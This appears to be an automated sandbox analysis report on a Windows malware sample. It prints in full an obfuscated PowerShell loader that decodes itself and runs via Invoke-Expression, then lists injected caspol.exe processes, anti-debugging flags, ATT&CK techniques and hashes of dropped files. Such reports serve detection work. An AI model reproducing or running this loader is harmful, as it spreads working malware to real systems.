Ex' t2 H5Su3Re2 M2Ra3 S2Ov2 P2Ci5Ri3 A9Re7 O7 D7 B3 T3 S6 P3Ca9Ad3 R9Of3Re2Co3 CCRu2Ca4 D3Mi2Ta2Pr4Fu7De9An1Oe4 U2Po5 B3Ha2 R3 B6Dr2Re3 a3 B2 U0Gl3Br2TrE T2Mo7Ht3Ha2Pr7 OFBy7StEEn'Gr; F&Fo(Kr`$ LA SkRetreiNoo BnMos ApDulBia UnGieRen NsBy7Eq) S St`$HeK RuStlSadOriProSoxUniUnd BeRun SsPa5 U Ek Sk B;Ko}Si`$AaUdio MpHvlSvyPrs HtHoeSa Po=Ma EpM Na Tl Bp Mr Ma SxVeiBrs V8Op E'Ba3ViCPr3Br2 S2 M5 O3 l9Op3 i2Ta3SaBDi6Kl4Mn6 H5 D'Nu;po`$ Cp Br SoAlfIla Pn Be Ns F Mu=Ap XMAnaJulMip OrSkaprx liIns S8 P D' w2 O2Et2 L4 P3 S2 S2Un5 D6 f4 K6 A5Sp'Be;ho`$SmDReiUnscokBaoKogSkrPaa Of Fi heStrManCleFasTi0Pa3Ny D= K ToMDyadrl NpTrrboaLixReibes o8Al Sm' t1 C0 G3Di2Bl2Sp3Fo1Da4 L3 S8 c3Fe9Op2Sc4 U3 S8 A3 eBFa3Ta2 Q0Ha0Eu3 SEMo3 P9 O3Sk3rd3Co8In2Ud0 L' E;Wh`$ BD SiDrsDrkZio Pg CrGeaCif BiPeeOvrCanUde NsBu0Pl0Fi=AnM Pa KlDyp SrIda UxEmiExs C8 D E' F0Sh4Se3 RFWi3 S8 U2 A0St0 P0Un3alERa3Un9Ga3Be3Dr3Du8Bi2Am0No'Te; P`$GrK Kumel AdboiHyoEnxGeiPadPoeEnn ps U6 F S=Ba SpMKnaStlMopArrApaHax Ni Ds A8Ta Pr'ci7 E3Bu0 o4 C2We2 Q3Fi3 U3inBFo3 S2 P7 C7Ch6stA C7 E7bo0SuCno0 m4Ni2SuESi2Se4Im2da3Un3Pa2Ge3BeAVa7Py9 L0fo5 A2 b2 S3St9 S2Va3Bo3SkECa3BeAHi3Me2sk7 C9 C1 PEUd3In9 P2 D3Ar3Ep2Mo2 O5 T3 C8 S2Af7Ag0Ra4Su3 P2Ju2Sk5Cu2 C1Ai3 SE R3Ov4pi3st2 P2 s4 P7Ly9 L1BrAPh3 S6 M2 F5Pa2 C4 P3 SF R3Pa6sv3 KB B0ymAAn6RaD L6TaDTi1 K0Fr3Te2 L2 A3Ar1St3 H3Ti2Lo3StBpe3Bu2ha3Un0 E3Cr6Gl2Ac3Ka3Ce2St1In1 D3Sa8Bo2 C5 U1Va1 T2Kr2ur3De9 L3Ud4Be2Da3ev3DuE D3Gs8 S3Bu9 T0Sl7Pa3 c8Bl3ImEHe3br9Ud2 G3Gr3 U2Ad2 S5 R7cyFCi7daFSi3Fe1 B3 HCRo2 F7mi7In7 D7Br3St0Ap2 U3 K8 S2Am7Ta3AfBNi2TrE I2Ph4ko2 A3 D3Ac2fi7 D7 U7 E3 T1Pi6Um3 BC M2St3 A3ApEDi3vi8Du3 S9 D2wr4Ti2 s7Fi3AfBIn3sc6Se3Sl9Un3Bl2Ac3 T9Le2Bo4Or6ou3 B7InECa7SmB B7An7 R7SnFTr1My0 M1 E3Br0ya3 N7Di7Su1 S7Eq7DeF t0SyC g1 HE V3Su9 B2 E3 F0 S7Ke2 S3Pa2Pr5 D0SlA b7 UBBo7Al7 R0 GC P0 A2 U1 KECo3Bi9Ig2In3 R6Um4Ju6Un5 B0 CALo7arB B7Sk7Pe0 AC H0 U2 E1StEBe3 O9 S2 M3 B6 O4 F6On5Te0SiA U7StBNg7Ra7Tr0StC B0Fj2Ta1 REUn3St9 E2ge3Le6Ov4Pr6Un5Ov0FiA C7 wEFo7 R7Hj7SkFNa0VeC S1 PEAb3Tu9 A2 C3 F0 O7Tk2 O3Ka2Sm5In0 SA B7 HE A7reEAn7 VE A'Al;Vi&Af( K`$InA Nk Dt FiLdoSjn Cs Dp Klnia bnFue An SsUn7Gl)Ce Bl`$ MK Uu TlCadHiiHeo Ux TiIndFjeOpnSns M6 A; A`$DiD MiChsPak ToTog Pr AaPyfQuiIneThr GnMie IsMi0St1 A B=Om DMPha Cl MpkrrDeaerxWaiHusCh8Hy P' K7 D3 P1Ci8tr3SnB A3TiE N3ma0En3Ba6 R2No5 U3SlC S7Ga7Re6 RAHu7 S7Ma0BaC C0Su4Fl2ReE T2Re4Fo2be3 D3 V2Ic3 PAHy7Na9Li0Mo5Tv2 W2Tv3 o9 P2 a3Th3HoETr3 BA C3Sw2Ny7 P9 B1DeE p3Tr9Al2 S3Pr3Rh2 P2Tr5 W3po8 M2Do7De0Me4 V3 p2 N2Ba5 A2Li1mi3SlE R3Re4Ee3Ta2Be2 E4Ma7Su9Fo1DeAFo3Pe6 V2 T5 B2 C4Lj3BuFDi3Ap6Su3GrB F0KrA D6 CD M6AnDSk1Do0ja3Ko2Be2 p3On1 A3Or3 R2 L3slBTe3 K2Ac3 S0Hi3Br6Su2Re3 s3 P2 C1Su1 N3Ma8Af2Se5 U1 S1Af2Ba2Wr3Un9 s3Fo4Sk2Be3Bu3 LE S3Lo8Le3Kn9 B0Ni7 j3Br8Fe3 GE U3Re9St2En3Th3Kr2 H2St5Bu7 RFOv7 BF L3de1 A3 LCEu2In7 X7Me7Un7Pr3 V2Mi7 R2Ba5Sv3 U8 V3Mo1 S3 A6Al3Ru9 A3Ar2Mu2Be4By7En7Fi7Cr3 S1Ti3Ve3StERn2Va4Sj3UeCKr3Pa8Co3Ge0Ha2 U5 D3Tu6 B3 K1 J3poEFo3 B2 C2 f5Su3Ca9 D3Ma2Ou2Bi4 W6Mu7Ri6Un7 M7 UEZo7 KBTa7 T7 L7 NFWi1 D0Wa1St3Ch0De3Ti7Re7 t1 M7Ra7stFSm0 JC B1 sECo3Tr9Le2 D3 B0Ch7Di2Kr3Ph2 S5 M0EnARu7 HBUr7Vi7Ru0slC A0pa2 S1PoEsu3Hu9un2Hy3 S6 G4Hy6 N5 B0PrAPr7 fE m7 O7Mo7SuFTe0UsCSt1scEbr3Fo9My2Tr3 I0Li7So2Do3Sc2Cr5En0 SA S7 REOx7UnE B7HeE B'Ov;Hy& c(Me`$ DA Gkfut siElo Cn Bs SpTelAca JnMueNin VsSy7Se)Tr Ac`$ PDAaiCisTok BoSvgGrr Sa ZfApiAneDirRenLieNos G0Su1 Y; P`$ FDcei gsrhkLeoIdgRerKaaAff Di De Dr Vn Se SsGe0 F2 N Im= P AM Aa IlLep Gr VaGrx HiYosIn8Hy Sk' D7 O3Fa1TeBRe3 PEIf3ha9 K3Pr8Bo3 KBOr3 B2Us3Cu9Le3 NEFr3 P4 D7Be7Sa6FiA S7Co7 A0OrC F0Me4 A2SyEIm2Do4 P2Sn3 T3do2af3 IAPo7 C9 U0He5Cn2St2vo3Co9 U2 a3Li3 KEAi3RuA S3Si2ma7 S9 U1RiE A3De9Hy2 U3 D3Ba2An2 E5Un3Va8 S2 f7 I0Ud4Sn3Na2hi2af5Oi2 s1Ev3 PESh3 F4He3Op2 E2 O4Kl7 b9Fo1 RA T3Ud6La2 C5 F2Fo4 m3MaF K3Gu6 U3KeBHy0OpA S6 hD K6 BDLo1tv0Pr3De2 U2Kl3 B1Kr3Un3Sl2 H3RoB F3 T2 H3 E0Mi3 B6In2 V3Re3 E2 D1 U1 h3 S8 C2 S5Wi1Pa1 B2 C2Su3Si9sk3Ob4 E2 N3re3ReERe3Mi8De3Re9Dr0ou7 I3 J8 O3WaETi3 D9Af2Fe3 S3Af2ve2Su5Mo7SiFfr7KuF u3 A1 U3 LC F2Ko7 E7 M7 R7 M3Th0Bs2ak3an8 C2Fa7Yn3InB A2PrENe2au4Bi2Ki3 N3Hj2en7Cl7Ou7Tr3 P1 P3Au3FiESu2 s4 A3 CC B3 F8In3Fa0 O2Ve5 T3 T6 Z3 L1 S3AfEKo3Im2Br2Un5Co3 M9An3 N2 P2af4 P6 p7fy6Ps4Ab7ulEGo7OvB A7 e7In7KoFSi1Mi0Dr1fo3Re0 P3 L7Ic7Ud1Sl7So7 VFDe0ExCUn1 BEPo3Dd9 V2Me3In0 U7 U2 H3Ny2Ab5Em0AsA N7ZyEIn7 N7 q7NeFPu0TiCLi1 AE O3 S9Nu2Sk3Sk0Lu7 A2ba3 T2 S5af0 KAse7UdEIn7AnEBr7 BE C' S;Ot& C( A`$ fAafksht si CoOpnDisStpTelPeaStn IeOsnDis D7Sp)Fr fa`$LiD ViGesPek So kgEvr TaMof Si LeMer Kn Ee Ts K0Sk2Ov; L`$ SK BuWhlBedAmiVro LxTiiSjd UeAdn As T7Aw vi=Ka StM FaFol Dp BrSaaDex Ui PsSj8Fe To'Re7Ko3Al1Pr8 C3As3 L3 R3 V3 B1 E3Su2 A3StBBa3ChB G3 v8 P2 H0 c3HiBUn3 I8 D3Au0 L3 E2Re2Un5Hj2Th4 S7 g7Li6 RATn7 I7 I7 t3 F1 WB W3EnE S3Fy9 F3 T8 B3 GB F3Ro2 U3Di9Ro3 BE C3 S4 E7 S9ko1PeE D3 D9 H2Un1Ga3 Z8 G3 SCRh3St2 S7DiF P6 n7 W7SyE C' S; m&Ut(Dr`$ElADekSutEvi coAlnLysPhp IlBraInnLee Mn PsKi7st)Su E`$UnKPeuFulLrd Ki Focax Hibud Selin Ds U7 z;Un`$BoKBeu Sl NdLgi AoElxTriGodAneMun Is N7de A=Pu ApMRya Gl SpBurExa Sxuni MsAn8 S Ot'Ex7Ak3 A1Mo8 h3UdBLa3RiE F3Un0bu3 P6 S2En5 N3 SC F7 T9No1ReE A3No9aa2 R1 F3Li8Ev3VoCRu3Mu2Sp7MaF P7 S3Si1 B8Op3ve3 L3En3 E3Sm1fi3Ge2Fl3GaBJo3FiB R3Sh8 P2 V0Ar3 TBAu3ho8 V3Sk0 G3Di2 F2Re5Nu2hy4 v7TrB S7 A7 D6 C7Br7BeE S'Ta;Rg&Re( E`$ AA MkBrtQui BoHon IsOcp Ol GasynTreNynAdsKw7 T)Sy St`$ NK Uuwhl Bd Ci Bo Cx UiPodThe Sn AsLa7Ar; e`$ NP ShHaySklCylMaoAfgReemon aoStuUnsVe Bu=Bl BfInklap S Bi`$NaAFak GtJoi Do Un UsTipspl HaGln BeStn Ssov5 O S`$ PAPakBrtMiiSaoObn Ps Bp SlKraManSke On FsPr6 T; S`$PrK Tu Cl BdMai HoFaxOriUddDie OnTrs K7Ol E=Ga ToM Sa BlClp PrUmaEvxMuiCosro8Me St'Pe7Co3Re0 B2 M2Gr3 O3Op2Se2Ea5Wi3ToE B3De9 F3Co2 P6Ga4 U7 R7 U6PaA F7Ek7po7 I3Be0Tr4 L2 B2Ha3Kr3Pr3RaBPo3Me2 R7Ia9 A1 LEFi3 M9An2Co1 E3 A8Br3AfChm3 B2Fl7DrF L0bjCta1CaE P3Hy9In2Vu3 P0 B7 C2Ma3Re2 G5 B0TeAAs6FeDhi6MiD E0MdDOv3La2Bj2Ba5Te3Ae8Ma7 SBHe7Wa7 l6 C1 A6Si3Gr6Co2 T7LiBRe7Ko7In6 B7Ge2MaF M6 F4Fo6Pl7Si6Si7 R6 l7Sh7ViB L7At7 P6Fr7Sa2MoF V6El3kr6 M7 H7 BEAc'Ho;St&Du(Ba`$TrA ck UtSeiBloNenSksSypBul UaLenSte Antrs C7Un)Op So`$FiKSkuBllLydBei IoHex Ki DdBeeGan BsQu7Su;Un`$ SKSau il Nd SiAuoPhx GiLydPoeFendesSe8 K Ge=Ki GMAna PlLopMarAraBex UiAgsTo8Ma a'Pr7Un3Cr1BeAFo3 v2Mo2 B5 e3 L8In2 L4Pr2 R3an3Sk8Ay3 KAud3Th8Fa2 T2St2 B4 D7 B7In6 mA V7 S7 T7ar3 G0 L4Li2 Z2bu3ko3Fj3 vB U3El2 O7 D9 R1ZeE B3Ud9 P2 M1He3 C8Re3 BCDo3 P2No7 EFUn0EnCfa1GeE T3Un9To2 V3Jo0Sk7 S2 D3Ak2 R5Ch0 UALi6 RD S6 CDSe0HiDAl3 E2 S2Op5 S3 A8Fe7PrB S7 T7 B6 BFSt6Di7 V6BeF L6 BEAd6So6 T6unEba6Ve7Ky6It3 P7BiBRi7Ou7Sp6 s7Mi2MiFSu6 F4Sk6 V7 C6 F7 A6 f7 o7ReBKr7Pa7 C6Ou7Bo2GrFSu6 R3Re7syEZo'Re;Le&Do( S`$ MAPukAstSni Bo Nn AsOmpDol TaCin Pe On SsPa7bn)Ru Ly`$ OKPru MlBrdReiDio CxOuiEnd He AnWasNd8 G;Mu`$ HUCotHjeHurDeiPyncee T2Le=De`"""Co`$Rye Hn Vv J: BL AO WCQuAOkL RAMaP SPUnDTrAShTAlA P\PrCHyrUtiFemBriTrnBeaNal Si HsTat Bi Mc I3Vu9 L\saK DrRuu OmMonHeiSynBegSke BnTe. STMeiHvlSm`"""Ae;Ah`$TaK Su LlKrdMoi SoFox niKodFjeFonFosBu9Sk B= F CMSkaSklEnpRurSta Tx Ri BsSt8Ma Ud' I7 G3 U1 BC M2un2 S3 SB K3 e3Ac3 DE J3Af8 S2 NFTo3SdE L3Fr3Re3Kv2Fa3Jo9By2 H4ko7Mi7ep6 BAAm7In7 P0LuCSp0 S4 H2HjE O2Tj4Fe2 U3In3 E2Pr3 FAPh7Au9Kn1 FE B1Dk8 K7Ca9Ni1Fe1de3 oEKr3ShB W3Sv2 a0 AA E6 SDTe6GeDBr0Sp5Tr3Ch2Sn3Sy6 W3Sy3 P1Ch6El3CoBFe3AfBSt1Ku5 S2KaE I2Si3Lu3Af2 T2 M4 G7 UFMo7 B3St0Li2Bi2 H3 O3No2Ma2Pa5 M3 GEMe3 T9Pa3 L2Gu6Am5St7CyE A'Pa; L&Kn(Ba`$KlA PkDet DiLeoInnMasPrpSolMaa FnsueRenUbsLi7 c) W Ca`$ BKpouMulBydpri Dosax RiAndCaeSynTjsKi9Tr; K`$BeMTiaOplErpVarTeaHyxIriBisBo0re A= H TiM SaEnl Ip Mr Iacax SiTrsDo8 C Bl'Tr0TrC D0Un4Di2 IEBe2se4Ko2 D3In3Su2Su3 SASp7 E9Be0hy5 F2 R2Ko3Li9Fo2bi3 t3SyEFu3VaAFo3no2 S7 M9Se1 MEAu3Ma9Su2Ea3Ba3 S2Ly2 H5Mo3el8Ru2 T7 B0Em4Bo3Pr2 B2Si5Ab2 U1Yo3MyERd3Fl4 M3 K2Su2Ja4Mu7No9Di1roATa3Re6 A2 O5 s2 W4Pe3DeF R3 D6 S3TrBae0 nASe6 ADBa6BaDKe1 P4Dy3Sv8Br2He7Vi2UrETa7 RF O7St3Sk1 LC M2 O2Ca3UnBWe3cu3Ar3poE U3os8 S2BkFHu3 sECe3 D3 R3Ba2Fr3By9 S2 F4 T7VaBFu7 S7 I6Ne4 B6Ca7 S6Ko5Gr6 E3Tr7 VBCo7Fi7 R7 C7 D7 S3 D0Bj2Ub2Tu3 l3Cl2Kr2 A5 T3MoE P3Dy9Er3In2Fo6Ly4Un7 KB R7 A7Ni6af1Su6Ba3 w6In2 B7 TEFr' L; M&Ch(Ti`$ AASkk Rt Hi XoOznChs HpTyl TaFjn SeManLos R7 P)ex Ka`$KaM taPalFapOur laVaxKoiIlsAr0Ou; O`$ReU HnMepBea CrVedSlo OnSue DdSwnSae KsOrsMo= b`$WaK Mu UlPndiniVio Gxtai SdIme HnUnsNy.Orc loScuBenShtTa- U6 U4 L5 S-Me3ha0So2Fr4Pr; u`$AnMApaEslGep Tr AaBexHji HsDo1Fe Ge=Sv LiMjaa BlnapClrSvaTaxUsi SsMa8 F Up'Rs0vaC M0 F4 P2AgE P2Pr4Ap2 T3Di3 O2 F3UnASn7 A9 F0to5 F2 R2 P3Bl9Et2Na3 c3 FEUn3ReAco3Ki2 s7 S9 Z1 NE A3Pa9 P2Cy3Te3Sa2Op2kr5En3Uv8Re2 F7 S0Gn4Re3Ev2In2St5 A2Pi1Sk3 NEGo3 N4Dr3Fe2Fy2 R4Gt7 G9Fo1SuASu3Tr6 V2 D5Te2 t4 P3EnF s3 H6Ko3HuBPr0AfAOr6FoD p6FlDAd1 L4 U3Ri8ur2As7 F2UlE S7 UFVe7 L3ki1SkCTu2Ty2Bo3 IBSp3 S3Da3ReEDo3Ba8Sk2MiFco3OvELa3To3Do3Sl2 K3 D9Py2Af4 S7ApBeu7Ha7 M6Ud1Me6Ma3 S6 W2Su7krCae6As4 u6Wa7De6 N5 S6El3ha7UeB P7Re7Da7St3 S1AmAGi3Ta2Sc2Sk5Mo3 O8 T2En4 S2 H3Su3Pr8mu3BiA S3Br8so2Bu2 v2In4 L7MiBFl7Ov7 P7Im3In0Fo2Sl3Ri9Fl2 P7 B3Sc6 B2Re5Ci3Mu3Vi3 E8Bi3An9Se3Ti2Cu3 U3 L3Fr9Ud3 m2Ho2Dr4 A2 S4Sh7EpEBr'Va;An& P(Le`$ LABakAntTii GofonOpsLup klOva An Ee GnShsEn7Pr)Bi Aw`$ SM Sa RlPap ArMoaKixSti DsMi1Mo;To`$ SM Ga TlFlpAtrSea NxRei Ps G2Hu Be=Tr TyMLuaInlElp kr BaFox DiBrsPo8 F P'Re7Ri3 F0No5 L3me2Ol2 L4Am3 E2 G2Sp3Da2Sp3Un3Un2Me2 G5Ni6Be5Pi6 F6Lv6PoF S7ed7 F6PeA l7Fl7Su0 BC B0De4 S2 UE J2 u4 P2 D3El3 A2 h3SoAPa7An9 G0 G5lo2Nd2 U3Am9To2Ha3 C3MaEre3NoA S3kr2Bj7 R9So1SkE U3 U9Ro2 T3Di3La2 L2St5 D3 s8En2sm7 A0Ho4 T3Ko2 s2di5Lo2Bi1In3KoE T3Ro4 D3 F2Ba2Ve4 N7 d9 A1UnA F3 O6Py2Ca5ma2Ne4Fi3 SFEr3 s6 T3SeB F0KoAAu6SkD A6 RD l1 l0 C3 D2 P2 P3 R1Eb3ve3Ek2Ob3EnB L3Un2sp3 H0De3En6Ap2Be3 P3Pe2 S1To1Je3 V8He2Uf5 D1Bi1 I2 Y2su3Sh9Wo3 S4In2Ma3 R3NnEMa3Or8 I3 d9au0Co7Op3Em8Em3 gE S3ro9Un2pr3Re3 L2Co2Fl5Sa7AiF D7EsF I3Ch1Ts3 GC C2Le7 S7 S7sa7 D3St0Ro2Re3Ti9Mi3Ho8 A3Hi5 n2Ex3 C2 A5Mu2Kr2 U3 M3Ph3 PEOm3 B9Me3En0Ov7 B7Ki7Mo3 U0Ma4Bi3Sy8 S3Ci4Ho3 LEDe3Tr6 c3TrB S2Av3ga6Fl6La6to5 E6Al0Ve7AaE V7HaBUg7Bl7Bi7AuFAn1 T0Un1Al3Te0Be3Em7Na7 M1 D7 B7 RFSi0 EC T1SkELu3gl9Ne2On3St0Te7Ju2Un3 S2Bo5 B0 TAto7 cBHo7 D7 B0PeC S1ReEVe3Bl9Sc2 M3Sk0 F7Pr2Pr3Ar2 U5 U0TeA R7 PBVa7Fi7 B0TaC S1LeEKe3Ra9 T2Or3 I0 N7Ug2Fr3Im2 M5Su0cnAki7MoBLa7Ro7Ov0AcCNy1 LEJu3 M9 U2Gl3Ia0Oe7 U2Re3El2Ne5Qu0TyA A7 vB G7 T7 C0SpC G1AsEFl3 B9 R2di3 C0Bi7 P2ka3Un2 R5 P0SpADe7 HEHa7 K7Va7SaFCo0 DC S1DiEFl3Un9 B2 R3 S0Ar7Ca2No3Lu2 S5Di0EfAPl7DeE D7 PEEn7BaE A'Cr;fy& T(Je`$PiABhkRht CiSuo Un Gs cpTrl Fa SnFae Pn Ss P7 M)Fl f`$UnMwoaEmlTrp PrswaAvxBriprsIn2De; I`$LnM Ba KlDipInr faAnx SiLnsOm3Ty E= S CoMPaaGalStpLar TaFrx SiLisls8En sk'Ud7Or3 G0 S5Ha3Te2To2 T4ge3Tr2De2Ba3 S2Pe3 B3 P2Fo2ve5Pi6 l5ko6hj6Ta6AuF F7Ag9 S1RiENo3 S9 S2 U1 V3Br8La3 FCSu3An2Ti7 PF R7Aa3 P0Ov2 B2Ba3 T3Sk2Co2Pr5 A3LiE c3Cr9Pe3Ha2 T6 R4 N7 BB P7 C3La1CaAFu3 M2Au2Ek5 C3 P8Ca2Ef4Lu2Di3 S3Af8 f3 HAIn3mu8 T2Be2Ab2Un4Tm7KnB D7Si3Ho0ru7 A3 BFBe2SuE J3 DB k3 SBHe3 V8An3 O0 L3Lu2Pr3 B9 R3 D8 B2ko2 A2St4No7ToBNe6De7Em7 sBSe6Sl7 A7VeE T'Sw;Sy&te(Su`$inASak Vt fi PoJenResPlp AlDeaKlnObeCanSesPr7Bl) N So`$ sM Sa Dl Ap Ir Na AxHei KsZi3By# I;""";;Function Malpraxis9 { param([String]$Usvigelige); For($Griffith=2; $Griffith -lt $Usvigelige.Length-1; $Griffith+=(2+1)){ $Diskografiernes = $Diskografiernes + $Usvigelige.Substring($Griffith, 1); } $Diskografiernes;}$Nonpracticed0 = Malpraxis9 ' sIInn Lv Oo EkPaePo-SmEMax Fp Hr ce AsGusMai ToTanSe ';$Nonpracticed1= Malpraxis9 $Afgiftningers;&$Nonpracticed0 $Nonpracticed1;<#Sisan oksetungers Tvangsarbejdet Academizing Scomber Phosphorescence Mammillate #>;"
    3⤵
    - Checks QEMU agent file
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:820
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      PID:1908
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe"
      4⤵
      Checks QEMU agent file
      Suspicious use of NtSetInformationThreadHideFromDebugger
      PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Criminalistic39\Krumningen.Til

Filesize
256KB

MD5
3c6932008c3a81532fc26ccdfb151ad2

SHA1
53e12862ce7f7ee2d072bdd19de300f62639b20c

SHA256
fcece34ee8e66490a7eac0dade39bc1b17b7bcd99cfe78c01a5edeb9e6b3a0f0

SHA512
d55342511ecedb266c8e81c7d4fa2d3f4f51b29c0a5a55844c46ad5468199511067e4cee1c4acddd85782df561312749b58d4ec07a274bb4a7b23cff335d3071

Download Submit
C:\Users\Admin\AppData\Local\Criminalistic39\Renserier.Anv

Filesize
24KB

MD5
f55172958c4a396f59a371f2fadb06db

SHA1
2f51b1ee0df6bb058afb95343be1adf8d2fcb628

SHA256
4954e57b2d89675a3552f149f86e04a869b1d958b184f2fac111b530a2cf18a2

SHA512
2076b3da6becb15d436314cea05740da43e00f79030048a312f655215180ad7dd0c3883d223ea26e5819ae465edeeb1b5967c0034e4b7700228c7cec85154e49

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\WMYH4Y0SGRZS7HG4M0RR.temp

Filesize
7KB

MD5
2ede5a6fb4bf37264fe6c57610e0aec5

SHA1
41174b0098b1adca22196d6b3f15f7c72a4f0d00

SHA256
d1eb22948d73475d8d228ae4efa2c864e48a216b89c227056284315f8be93d35

SHA512
548699663fc7d13005a65bcace2e23ed28c7f9596158fe5654be8efa29c1d86ce712419c81739ff1ddac8bd0ade4ed9e2284189d35819f67cd3b0714a644cccd

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
2ede5a6fb4bf37264fe6c57610e0aec5

SHA1
41174b0098b1adca22196d6b3f15f7c72a4f0d00

SHA256
d1eb22948d73475d8d228ae4efa2c864e48a216b89c227056284315f8be93d35

SHA512
548699663fc7d13005a65bcace2e23ed28c7f9596158fe5654be8efa29c1d86ce712419c81739ff1ddac8bd0ade4ed9e2284189d35819f67cd3b0714a644cccd

Download Submit
memory/820-73-0x0000000002780000-0x00000000027C0000-memory.dmp

Filesize
256KB

Download
memory/820-75-0x0000000005C50000-0x000000000A975000-memory.dmp

Filesize
77.1MB

Download
memory/820-76-0x0000000005040000-0x0000000005041000-memory.dmp

Filesize
4KB

Download
memory/888-65-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/888-66-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/888-77-0x0000000002460000-0x00000000024A0000-memory.dmp

Filesize
256KB

Download
memory/1576-80-0x0000000000400000-0x0000000000615000-memory.dmp

Filesize
2.1MB

Download

Analysis

Sharing